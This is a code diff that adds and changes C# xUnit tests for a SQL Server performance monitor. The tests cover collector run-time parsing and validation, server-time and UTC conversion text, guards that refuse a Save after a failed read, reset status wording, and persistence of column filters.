+                new CollectorRunTimeChange(5, "pg_index_bloat", 23 * 60 + 59),
+            },
+            changes);
+
+        /* "Use the default schedule" deletes every run-time row the server has, and no other server's or the fleet's. */
+        var reset = CollectorScheduleOverlay.ToRunTimeChanges(CollectorSchedulePresets.BuildDefaultSchedule(), stored, 5, usesDefault: true);
+        Assert.Equal(3, reset.Count);
+        Assert.All(reset, c => { Assert.Equal(5, c.ServerId); Assert.Null(c.RunAtMinute); });
+    }
+
+    [Fact]
+    public void AServerWithOnlyARunTimeRow_IsCustom_NotUsingTheDefault()
+    {
+        var runTimes = new[] { new CollectorRunTimeRow(7, Daily, 90) };
+        Assert.True(CollectorScheduleOverlay.ServerHasOverride(Array.Empty<CollectorScheduleRow>(), runTimes, 7));
+        Assert.False(CollectorScheduleOverlay.ServerHasOverride(Array.Empty<CollectorScheduleRow>(), runTimes, 8));
+        Assert.False(CollectorScheduleOverlay.ServerHasOverride(Array.Empty<CollectorScheduleRow>(), 7));
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("   ")]
+    [InlineData("Use default")]
+    [InlineData("use default")]
+    [InlineData("default")]
+    public void TryParseRunAt_ReadsUseDefaultAsNull(string text)
+    {
+        Assert.True(CollectorScheduleOverlay.TryParseRunAt(text, out var minute, out var error));
+        Assert.Null(minute);
+        Assert.Equal("", error);
+    }
+
+    [Theory]
+    [InlineData("None")]
+    [InlineData("none")]
+    [InlineData(" NONE ")]
+    public void TryParseRunAt_ReadsNoneAsMinusOne(string text)
+    {
+        Assert.True(CollectorScheduleOverlay.TryParseRunAt(text, out var minute, out _));
+        Assert.Equal(-1, minute);
+    }
+
+    [Theory]
+    [InlineData("00:00", 0)]
+    [InlineData("02:00", 120)]
+    [InlineData(" 02:00 ", 120)]
+    [InlineData("13:45", 825)]
+    [InlineData("23:59", 1439)]
+    public void TryParseRunAt_ReadsATwentyFourHourTime(string text, int expected)
+    {
+        Assert.True(CollectorScheduleOverlay.TryParseRunAt(text, out var minute, out var error));
+        Assert.Equal(expected, minute);
+        Assert.Equal("", error);
+    }
+
+    [Theory]
+    [InlineData("24:00")]
+    [InlineData("02:60")]
+    [InlineData("2:5")]
+    [InlineData("12:3")]
+    [InlineData("1200")]
+    [InlineData("02-00")]
+    [InlineData("02:00pm")]
+    [InlineData("-1:00")]
+    [InlineData("abc")]
+    [InlineData("nonsense")]
+    public void TryParseRunAt_RefusesAnythingElse_WithTheSharedText(string text)
+    {
+        Assert.False(CollectorScheduleOverlay.TryParseRunAt(text, out var minute, out var error));
+        Assert.Null(minute);
+        Assert.Equal("Run at must be a 24-hour time from 00:00 to 23:59, such as 02:00.", error);
+        Assert.Equal(CollectorRunTime.InvalidRunAtMessage, error);
+    }
+
+    [Theory]
+    [InlineData("24:00")]
+    [InlineData("2:5")]
+    [InlineData("noon")]
+    public void ASaveWithABadRunTime_IsRefused_NamingTheCollectorAndTheRule(string text)
+    {
+        Assert.False(Valid(Item(Daily, text), out var error));
+        Assert.Contains(CollectorRunTime.InvalidRunAtMessage, error, StringComparison.Ordinal);
+        Assert.Contains($"'{Daily}'", error, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(1)]
+    [InlineData(60)]
+    [InlineData(1439)]
+    [InlineData(1441)]
+    [InlineData(2000)]
+    public void ARunTime_OnAnIntervalThatIsNotWholeDays_IsRefused_WithTheSharedWholeDayText(int minutes)
+    {
+        Assert.False(Valid(Item(Daily, "02:00", frequency: minutes), out var error));
+        Assert.Contains(CollectorRunTime.IntervalRefusalMessage(Daily, minutes), error, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheHourlyRefusal_ReadsTheSharedSentence()
+    {
+        Assert.False(Valid(Item(Hourly, "02:00"), out var error));
+        Assert.Contains(
+            "'wait_stats' runs every 1 minutes. A run time works only for a collector that runs once a day or less often "
+            + "(1440 minutes, or a multiple of 1440). Change the frequency or clear the run time.",
+            error, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ARunTime_IsAllowedOnADailyCollector_AMultipleOfADay_AndAnOnLoadCollector()
+    {
+        Assert.True(Valid(Item(Daily, "02:00"), out _));
+        Assert.True(Valid(Item(Daily, "02:00", frequency: 2880), out _));
+        Assert.True(Valid(Item(Daily, "02:00", frequency: 10080), out _));
+        /* An on-load collector (0) recaptures daily, so it is judged as a daily one. */
+        Assert.True(Valid(Item(OnLoad, "02:00"), out _));
+    }
+
+    [Fact]
+    public void NoneAndUseDefault_AreAlwaysAllowed_EvenOnAnHourlyCollector_BecauseClearingIsTheRemedy()
+    {
+        Assert.True(Valid(Item(Hourly, "None"), out var error));
+        Assert.Equal("", error);
+        Assert.True(Valid(Item(Hourly, "Use default"), out _));
+        Assert.True(Valid(Item(Hourly, ""), out _));
+    }
+
+    /* ------------------------------ the conversion line ------------------------------ */
+
+    private static readonly DateTime Now = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+
+    private const int ServerId = 41;
+
+    private static string Describe(
+        string runAtText, int frequencyMinutes = 1440, int? serverId = ServerId, int? fleetRunAtMinute = null,
+        ServerClock? clock = null, bool azureSqlDatabase = false, string collector = Daily) =>
+        CollectorScheduleRunAtText.Describe(collector, runAtText, frequencyMinutes, serverId, fleetRunAtMinute, clock, azureSqlDatabase, Now);
+
+    [Fact]
+    public void AFleetRow_ShowsTheSixtyMinuteSpread()
+    {
+        var text = Describe("02:00", serverId: null, clock: null);
+        Assert.Contains("between 02:00 and 03:00", text, StringComparison.Ordinal);
+        Assert.Contains("server time", text, StringComparison.Ordinal);
+
+        Assert.Contains("between 23:30 and 00:30", Describe("23:30", serverId: null), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AFleetRowWithNoTime_SaysItHasNoFixedTime()
+    {
+        var text = Describe("Use default", serverId: null);
+        Assert.Contains("No fixed run time", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("between", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AServerRow_ShowsItsExactMinute_AndTheUtcConversion()
+    {
+        var clock = ServerClock.FixedOffset(-240);
+        var slot = CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), 120, ServerId, clock.ToUtc);
+        var local = clock.ToServerLocal(slot);
+
+        var text = Describe("02:00", clock: clock);
+
+        /* The same shape as the plan's example, "02:00 server time (06:00 UTC today)", with this server's own spread
+           added to the time: the slot is run time + CadencePhaseOffset(serverId, 3600). */
+        Assert.Contains($"{local:HH:mm} server time ({slot:HH:mm} UTC today)", text, StringComparison.Ordinal);
+        Assert.Equal(CollectorCadence.CadencePhaseOffset(ServerId, 3600), CollectorRunTime.Spread(ServerId));
+    }
+
+    [Fact]
+    public void AServerRow_ShowsTheNextRun_ForADailyCollector()
+    {
+        var clock = ServerClock.FixedOffset(-240);
+        /* Now is 12:00 UTC, after today's slot (about 06:xx UTC), so the next run is tomorrow's. */
+        var next = CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 3), 120, ServerId, clock.ToUtc);
+
+        var text = Describe("02:00", clock: clock);
+
+        Assert.Contains($"Next run: {next:yyyy-MM-dd HH:mm} UTC", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void NowBeforeTodaysSlot_PutsTheNextRunToday()
+    {
+        var clock = ServerClock.Utc;
+        var today = CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), 18 * 60, ServerId, clock.ToUtc);
+
+        var text = Describe("18:00", clock: clock);
+
+        Assert.Contains($"Next run: {today:yyyy-MM-dd HH:mm} UTC", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AZoneAheadOfUtc_SaysTheUtcDayTheSlotFallsOn()
+    {
+        /* 02:00 at +10:00 is 16:00 UTC the day before. */
+        var clock = ServerClock.FixedOffset(600);
+        var slot = CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), 120, ServerId, clock.ToUtc);
+        Assert.Equal(new DateTime(2026, 10, 1), slot.Date);
+
+        Assert.Contains($"{slot:HH:mm} UTC yesterday", Describe("02:00", clock: clock), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AServerWithNoClockYet_ReadsTheTimeAsUtc_AndSaysSo()
+    {
+        var text = Describe("02:00", clock: null);
+
+        Assert.Contains("not known yet", text, StringComparison.Ordinal);
+        Assert.Contains("UTC", text, StringComparison.Ordinal);
+        var slot = CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), 120, ServerId, CollectorRunTime.LocalIsUtc);
+        Assert.Contains($"{slot:HH:mm} server time", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AzureSqlDatabase_SaysItAlwaysReportsUtc()
+    {
+        var text = Describe("02:00", clock: ServerClock.Utc, azureSqlDatabase: true);
+
+        Assert.Contains("Azure SQL Database always reports UTC", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AServerRow_UsingTheFleetsTime_NamesTheFleetTime_AndStillShowsItsOwnMinute()
+    {
+        var clock = ServerClock.Utc;
+        var slot = CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), 120, ServerId, clock.ToUtc);
+
+        var text = Describe("Use default", fleetRunAtMinute: 120, clock: clock);
+
+        Assert.Contains("fleet-wide run time", text, StringComparison.Ordinal);
+        Assert.Contains($"{slot:HH:mm} server time", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AServerRow_WithNoneOrNoTimeAnywhere_SaysThereIsNoFixedTime()
+    {
+        Assert.Contains("No fixed run time on this server", Describe("None", fleetRunAtMinute: 120), StringComparison.Ordinal);
+        Assert.DoesNotContain("Next run", Describe("None", fleetRunAtMinute: 120), StringComparison.Ordinal);
+        Assert.Contains("No fixed run time", Describe("Use default", fleetRunAtMinute: null), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ATimeThatCannotApply_ShowsTheRefusalInsteadOfAConversion()
+    {
+        var text = Describe("02:00", frequencyMinutes: 60, collector: Hourly, clock: ServerClock.Utc);
+
+        Assert.Contains(CollectorRunTime.IntervalRefusalMessage(Hourly, 60), text, StringComparison.Ordinal);
+        Assert.DoesNotContain("Next run", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ABadTime_ShowsTheSharedMessage()
+    {
+        Assert.Equal(CollectorRunTime.InvalidRunAtMessage, Describe("25:61"));
+    }
+
+    [Fact]
+    public void ACollectorThatRunsEveryFewDays_DoesNotClaimANextRunDate()
+    {
+        var text = Describe("02:00", frequencyMinutes: 2880, clock: ServerClock.Utc);
+
+        Assert.Contains("every 2 days", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("Next run:", text, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorScheduleEditorSaveGuardTests.cs b/Darling/Darling.Tests/CollectorScheduleEditorSaveGuardTests.cs
new file mode 100644
index 0000000000..789080befe
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorScheduleEditorSaveGuardTests.cs
@@ -0,0 +1,146 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A Save of the Collector Schedules window that follows a failed read (#4938): no successful read, no write. A failed read leaves
+/// the window holding nothing for it, which looks the same as a store with nothing stored, so a Save must not write what the window
+/// never saw. The Save's contents come from a pure plan (<see cref="CollectorScheduleOverlay.BuildSavePlan"/>), tested here without
+/// a window or a store, and source pins on the window check that it records a failed read, keeps its warning and sends the plan.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class CollectorScheduleEditorSaveGuardTests
+{
+    private const string Daily = "index_object_stats";
+    private const int ServerId = 41;
+
+    /// <summary>The grid of a scope the window read nothing for: every cell the code default, every Run at cell "Use default".</summary>
+    private static List<CollectorScheduleEditItem> Grid() => CollectorSchedulePresets.BuildDefaultSchedule();
+
+    private static string Window() => CSharpSourceWalker.StripCommentsAndStrings(
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CollectorScheduleEditorWindow.xaml.cs"));
+
+    /// <summary>A server whose only override is a run-time row (set from the command line, say) opens on "Use default schedule" when
+    /// the run-time read fails, because the window then holds no run times. A plain Save of that window, nothing changed, must not
+    /// send the clear that "Use default schedule" otherwise sends: that clear deleted the run-time row it never showed.</summary>
+    [Fact]
+    public void ASave_AfterAFailedRunTimeRead_ThatChangedNothing_SendsNoRunTimeDeleteOrClear()
+    {
+        var plan = CollectorScheduleOverlay.BuildSavePlan(
+            Grid(), Array.Empty<CollectorRunTimeRow>(), ServerId, usesDefault: true, resetToDefaults: false, schedulesRead: true, runTimesRead: false);
+
+        Assert.Null(plan.Refusal);
+        Assert.Empty(plan.RunTimeChanges);
+        Assert.False(plan.ClearRunTimes);
+        Assert.Empty(plan.Rows);
+    }
+
+    /// <summary>The control: the same window after a read that worked still clears the scope's run times on "Use default schedule",
+    /// which is what that checkbox means. The guard is for the unread case only.</summary>
+    [Fact]
+    public void ASave_AfterASuccessfulRead_OnUseDefaultSchedule_StillClearsTheServersRunTimes()
+    {
+        var plan = CollectorScheduleOverlay.BuildSavePlan(
+            Grid(), new[] { new CollectorRunTimeRow(ServerId, Daily, 300) }, ServerId, usesDefault: true, resetToDefaults: false, schedulesRead: true, runTimesRead: true);
+
+        Assert.Null(plan.Refusal);
+        Assert.True(plan.ClearRunTimes);
+    }
+
+    /// <summary>A server that does customize its schedule still saves it when the run-time read failed, and sends no run-time change
+    /// with it: not a delete, not an upsert, not a clear.</summary>
+    [Fact]
+    public void ASave_AfterAFailedRunTimeRead_StillSavesTheSchedule_WithNoRunTimeChange()
+    {
+        var grid = Grid();
+        grid.Single(i => i.Name == "wait_stats").FrequencyMinutes = 10;
+
+        var plan = CollectorScheduleOverlay.BuildSavePlan(
+            grid, Array.Empty<CollectorRunTimeRow>(), ServerId, usesDefault: false, resetToDefaults: false, schedulesRead: true, runTimesRead: false);
+
+        Assert.Null(plan.Refusal);
+        Assert.Contains(plan.Rows, r => r.CollectorName == "wait_stats" && r.FrequencyMinutes == 10);
+        Assert.Empty(plan.RunTimeChanges);
+        Assert.False(plan.ClearRunTimes);
+    }
+
+    /// <summary>A run time typed into a cell, or a Reset to Defaults, is something the user asked for. With the run times unread it
+    /// cannot be written safely, so the Save is refused outright and says why, and sends nothing, instead of saving the rest and
+    /// quietly dropping that.</summary>
+    [Fact]
+    public void ASave_AfterAFailedRunTimeRead_IsRefused_WhenItWouldDropATypedRunTimeOrAReset()
+    {
+        var typed = Grid();
+        typed.Single(i => i.Name == Daily).RunAtText = "02:00";
+
+        var withTime = CollectorScheduleOverlay.BuildSavePlan(
+            typed, Array.Empty<CollectorRunTimeRow>(), ServerId, usesDefault: false, resetToDefaults: false, schedulesRead: true, runTimesRead: false);
+        var withReset = CollectorScheduleOverlay.BuildSavePlan(
+            Grid(), Array.Empty<CollectorRunTimeRow>(), ServerId, usesDefault: false, resetToDefaults: true, schedulesRead: true, runTimesRead: false);
+
+        foreach (var plan in new[] { withTime, withReset })
+        {
+            Assert.Equal(CollectorScheduleOverlay.RunTimesUnreadRefusal, plan.Refusal);
+            Assert.Empty(plan.Rows);
+            Assert.Empty(plan.RunTimeChanges);
+            Assert.False(plan.ClearRunTimes);
+        }
+    }
+
+    /// <summary>The schedule read has the same shape: a failed read leaves the window on the code defaults, and a Save of that
+    /// replaces the scope's stored rows with nothing. After a failed schedule read the Save is refused and sends nothing, for the
+    /// fleet scope and for a server alike.</summary>
+    [Theory]
+    [InlineData(null, false)]
+    [InlineData(ServerId, true)]
+    [InlineData(ServerId, false)]
+    public void ASave_AfterAFailedScheduleRead_IsRefused_AndSendsNothing(int? serverId, bool usesDefault)
+    {
+        var plan = CollectorScheduleOverlay.BuildSavePlan(
+            Grid(), Array.Empty<CollectorRunTimeRow>(), serverId, usesDefault, resetToDefaults: false, schedulesRead: false, runTimesRead: true);
+
+        Assert.Equal(CollectorScheduleOverlay.SchedulesUnreadRefusal, plan.Refusal);
+        Assert.Empty(plan.Rows);
+        Assert.Empty(plan.RunTimeChanges);
+        Assert.False(plan.ClearRunTimes);
+    }
+
+    /// <summary>The window records a failed read, keeps its warning in front of every later status text, and builds its Save from
+    /// the plan. Its status line is written in ONE place, because any other assignment to it is what overwrote the warning.</summary>
+    [Fact]
+    public void TheWindow_KeepsAFailedReadsWarningVisible_AndBuildsItsSaveFromThePlan()
+    {
+        var window = Window();
+
+        Assert.Single(Regex.Matches(window, @"StatusText\.Text = "));
+        Assert.Contains("CollectorScheduleOverlay.BuildSavePlan(", window, StringComparison.Ordinal);
+        Assert.Contains("schedulesRead: SchedulesRead", window, StringComparison.Ordinal);
+        Assert.Contains("runTimesRead: RunTimesRead", window, StringComparison.Ordinal);
+        Assert.Contains(".SaveCollectorScheduleAsync(_scopeServerId, plan.Rows, plan.RunTimeChanges, plan.ClearRunTimes)", window, StringComparison.Ordinal);
+
+        /* Both reads set a warning of their own when they fail, and the same reads clear it when they work. */
+        var runTimeRead = window[window.IndexOf("private async Task ReloadRunTimesAsync(", StringComparison.Ordinal)..window.IndexOf("private void ShowStatus(", StringComparison.Ordinal)];
+        Assert.Contains("_runTimeReadWarning = ", runTimeRead, StringComparison.Ordinal);
+        var scheduleRead = window[window.IndexOf("private async Task ReloadSchedulesAsync(", StringComparison.Ordinal)..window.IndexOf("private async Task ReloadRunTimesAsync(", StringComparison.Ordinal)];
+        Assert.Contains("_scheduleReadWarning = ", scheduleRead, StringComparison.Ordinal);
+
+        /* "Apply Default to All Servers" re-reads through the same two steps, so a re-read that fails guards the next Save too. */
+        var applyAll = window[window.IndexOf("private async void ApplyDefaultToAll_Click(", StringComparison.Ordinal)..window.IndexOf("private void CancelButton_Click(", StringComparison.Ordinal)];
+        Assert.Contains("await ReloadSchedulesAsync();", applyAll, StringComparison.Ordinal);
+        Assert.Contains("await ReloadRunTimesAsync();", applyAll, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorScheduleResetStatusTests.cs b/Darling/Darling.Tests/CollectorScheduleResetStatusTests.cs
new file mode 100644
index 0000000000..a6efd2539b
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorScheduleResetStatusTests.cs
@@ -0,0 +1,46 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The status line after "Apply Default to All Servers" (#4938): the per-server schedule overrides and the per-server run times the
+/// call removed are counted apart and each named, singular or plural, so a reset of run times alone no longer reads as a reset of
+/// schedule overrides. The store's own counts are checked in <see cref="CollectorRunTimeViewerLiveTests"/>.
+/// </summary>
+public sealed class CollectorScheduleResetStatusTests
+{
+    private const string ResetTail = " — every server now follows the fleet default.";
+
+    [Theory]
+    [InlineData(0, 0, "No per-server overrides to reset — every server already follows the fleet default.")]
+    [InlineData(1, 0, "Reset 1 per-server schedule override" + ResetTail)]
+    [InlineData(3, 0, "Reset 3 per-server schedule overrides" + ResetTail)]
+    [InlineData(0, 1, "Reset 1 per-server run time" + ResetTail)]
+    [InlineData(0, 2, "Reset 2 per-server run times" + ResetTail)]
+    [InlineData(1, 2, "Reset 1 per-server schedule override and 2 per-server run times" + ResetTail)]
+    [InlineData(2, 1, "Reset 2 per-server schedule overrides and 1 per-server run time" + ResetTail)]
+    public void TheResetStatus_CountsScheduleOverridesAndRunTimesApart_AndNamesEach(int scheduleOverrides, int runTimes, string expected)
+    {
+        Assert.Equal(expected, CollectorScheduleOverlay.FormatResetStatus(new CollectorScheduleResetCounts(scheduleOverrides, runTimes)));
+    }
+
+    /// <summary>The window shows the text the formatter builds from the call's two counts, and no longer one number for both.</summary>
+    [Fact]
+    public void TheWindow_ShowsTheCountedResetStatus_NotOneNumberForBothKinds()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CollectorScheduleEditorWindow.xaml.cs");
+
+        Assert.Contains("CollectorScheduleOverlay.FormatResetStatus(removed)", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("schedule override(s)", source, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorScheduleUseDefaultRunAtLineTests.cs b/Darling/Darling.Tests/CollectorScheduleUseDefaultRunAtLineTests.cs
new file mode 100644
index 0000000000..fcdf64f8b3
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorScheduleUseDefaultRunAtLineTests.cs
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Run at line under the Collector Schedules grid, for a server that is on "Use default schedule" (#4938). The grid then shows
+/// the FLEET's schedule, so the selected row's Run at cell holds the fleet's own time, and the line used to describe that as a
+/// time the server had of its own. It now says the server uses the fleet-wide run time, the same sentence as for a server row set to
+/// "Use default". All of it is pure, so it is tested without a window.
+/// </summary>
+public sealed class CollectorScheduleUseDefaultRunAtLineTests
+{
+    private const string Daily = "index_object_stats";
+    private const int ServerId = 41;
+    private static readonly DateTime Now = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+
+    [Fact]
+    public void UnderUseDefaultSchedule_TheRunAtLine_SaysTheServerUsesTheFleetWideRunTime()
+    {
+        var fleetGrid = CollectorScheduleOverlay.BuildEffectiveSchedule(
+            Array.Empty<CollectorScheduleRow>(), new[] { new CollectorRunTimeRow(null, Daily, 120) }, null);
+        var cell = fleetGrid.Single(i => i.Name == Daily);
+        Assert.Equal("02:00", cell.RunAtText);
+
+        var line = CollectorScheduleRunAtText.Describe(
+            Daily, cell.RunAtText, cell.FrequencyMinutes, ServerId, 120, ServerClock.Utc, false, Now, usesDefaultSchedule: true);
+        var slot = CollectorRunTime.SlotUtc(new DateOnly(2026, 10, 2), 120, ServerId, ServerClock.Utc.ToUtc);
+
+        Assert.StartsWith("Uses the fleet-wide run time (02:00). ", line, StringComparison.Ordinal);
+        Assert.Contains($"{slot:HH:mm} server time", line, StringComparison.Ordinal);
+
+        /* The same cell on a server that customizes its schedule is that server's own time, and says nothing about the fleet. */
+        var own = CollectorScheduleRunAtText.Describe(
+            Daily, cell.RunAtText, cell.FrequencyMinutes, ServerId, 120, ServerClock.Utc, false, Now);
+        Assert.DoesNotContain("fleet-wide", own, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void UnderUseDefaultSchedule_WithNoFleetWideRunTime_TheRunAtLine_SaysThereIsNoFixedTime()
+    {
+        var line = CollectorScheduleRunAtText.Describe(
+            Daily, "Use default", 1440, ServerId, null, ServerClock.Utc, false, Now, usesDefaultSchedule: true);
+
+        Assert.StartsWith("No fixed run time", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("fleet-wide", line, StringComparison.Ordinal);
+    }
+
+    /// <summary>The fleet scope has no "Use default schedule", so the flag changes nothing on a fleet row.</summary>
+    [Fact]
+    public void TheFleetRow_IgnoresUseDefaultSchedule()
+    {
+        var plain = CollectorScheduleRunAtText.Describe(Daily, "02:00", 1440, null, 120, ServerClock.Utc, false, Now);
+        var flagged = CollectorScheduleRunAtText.Describe(Daily, "02:00", 1440, null, 120, ServerClock.Utc, false, Now, usesDefaultSchedule: true);
+
+        Assert.Equal(plain, flagged);
+    }
+
+    [Fact]
+    public void TheWindow_PassesUseDefaultScheduleToTheRunAtLine()
+    {
+        var window = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CollectorScheduleEditorWindow.xaml.cs"));
+        var refresh = window[window.IndexOf("private void RefreshRunAtDetail(", StringComparison.Ordinal)..window.IndexOf("private void RebuildEditingForScope(", StringComparison.Ordinal)];
+
+        Assert.Contains("usesDefaultSchedule:", refresh, StringComparison.Ordinal);
+        Assert.Contains("UseDefaultCheckBox.IsChecked == true", refresh, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorStallProbeStoreTests.cs b/Darling/Darling.Tests/CollectorStallProbeStoreTests.cs
index b7dab3f540..518a24a0ca 100644
--- a/Darling/Darling.Tests/CollectorStallProbeStoreTests.cs
+++ b/Darling/Darling.Tests/CollectorStallProbeStoreTests.cs
@@ -266,6 +266,19 @@ throughput half of the firing condition would be inert. */
         Assert.Contains("using var stallProbeArm = StallProbeArm.Start(", runner, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// The probe query matches this service's own session by <c>APP_NAME()</c> and <c>HOST_NAME()</c>, so
+    /// it binds no parameters: the runner must send the text as it ships, with none attached.
+    /// </summary>
+    [Fact]
+    public void TheProbeQuery_IsSentWithoutParameters()
+    {
+        var runner = ReadSource("Darling/PerformanceMonitor.Darling.Service/StallWaitProbeRunner.cs");
+
+        Assert.Contains("new CollectorQuery(StallWaitProbePolicy.QueryText)", runner, StringComparison.Ordinal);
+        Assert.DoesNotContain("new CollectorQuery(StallWaitProbePolicy.QueryText,", runner, StringComparison.Ordinal);
+    }
+
     private static string RungSql() => PgMigrations.Scripts.Single(s => s.Version == RungVersion).Sql;
 
     private static bool IsTriggerSideColumn(string name) =>
diff --git a/Darling/Darling.Tests/CollectorStateContractTests.cs b/Darling/Darling.Tests/CollectorStateContractTests.cs
index c58bd990ba..6349844003 100644
--- a/Darling/Darling.Tests/CollectorStateContractTests.cs
+++ b/Darling/Darling.Tests/CollectorStateContractTests.cs
@@ -38,6 +38,7 @@ namespace Darling.Tests;
 /// at source, the idiom this suite already uses for cross-artifact contracts.</para>
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class CollectorStateContractTests
 {
     private const string RepoRootNotFound = "repo root not found -- the source pin cannot run";
diff --git a/Darling/Darling.Tests/ColumnFilterPersistenceTests.cs b/Darling/Darling.Tests/ColumnFilterPersistenceTests.cs
new file mode 100644
index 0000000000..443612500d
--- /dev/null
+++ b/Darling/Darling.Tests/ColumnFilterPersistenceTests.cs
@@ -0,0 +1,827 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Windows.Controls;
+using System.Windows.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Column filters kept across a refresh and a restart (#5565): the store file (round trip, per-server separation,
+/// least-recently-used bound, a bad file ignored, a cleared filter removed, no row data), and the grid manager that
+/// loads them on the first scoped refresh, keeps them across UpdateData, and clears them on "Clear all filters".
+/// </summary>
+public sealed class ColumnFilterPersistenceTests : IDisposable
+{
+    private readonly string _dir = Path.Combine(Path.GetTempPath(), "colfilter-" + Guid.NewGuid().ToString("N"));
+    private string FilePath => Path.Combine(_dir, "column-filters.json");
+
+    public ColumnFilterPersistenceTests() => Directory.CreateDirectory(_dir);
+
+    public void Dispose()
+    {
+        ColumnFilterStore.Current = null;
+        try { Directory.Delete(_dir, true); } catch (IOException) { }
+    }
+
+    private ColumnFilterStore NewStore(List<string>? warnings = null) =>
+        new(FilePath, warnings is null ? null : warnings.Add, TimeSpan.FromHours(1));
+
+    private static ColumnFilterState Hide(string column, params string[] values)
+    {
+        var state = new ColumnFilterState { ColumnName = column, ValueMode = ColumnValueMode.Hide };
+        foreach (var v in values) state.Values.Add(v);
+        return state;
+    }
+
+    [Fact]
+    public void A_filter_saved_comes_back_after_a_restart_with_its_mode_values_and_text_match()
+    {
+        var first = NewStore();
+        var saved = Hide("LoginName", "job_svc", "NT AUTHORITY\\SYSTEM");
+        saved.ValueBlank = true;
+        saved.Operator = FilterOperator.StartsWith;
+        saved.Value = "sa";
+        first.Save("srv-a", "QuerySnapshotsGrid", new[] { saved });
+        first.Flush();
+
+        var restarted = NewStore();
+        var loaded = Assert.Single(restarted.Load("srv-a", "QuerySnapshotsGrid"));
+
+        Assert.Equal("LoginName", loaded.ColumnName);
+        Assert.Equal(ColumnValueMode.Hide, loaded.ValueMode);
+        Assert.True(loaded.Values.SetEquals(new[] { "job_svc", "NT AUTHORITY\\SYSTEM" }));
+        Assert.True(loaded.ValueBlank);
+        Assert.Equal(FilterOperator.StartsWith, loaded.Operator);
+        Assert.Equal("sa", loaded.Value);
+    }
+
+    [Fact]
+    public void Filters_are_kept_apart_per_server_and_per_grid()
+    {
+        var store = NewStore();
+        store.Save("srv-a", "GridOne", new[] { Hide("LoginName", "a") });
+        store.Save("srv-b", "GridOne", new[] { Hide("LoginName", "b") });
+        store.Save("srv-a", "GridTwo", new[] { Hide("LoginName", "c") });
+        store.Flush();
+
+        var restarted = NewStore();
+        Assert.Equal("a", Assert.Single(restarted.Load("srv-a", "GridOne")).Values.Single());
+        Assert.Equal("b", Assert.Single(restarted.Load("srv-b", "GridOne")).Values.Single());
+        Assert.Equal("c", Assert.Single(restarted.Load("srv-a", "GridTwo")).Values.Single());
+        Assert.Empty(restarted.Load("srv-c", "GridOne"));
+    }
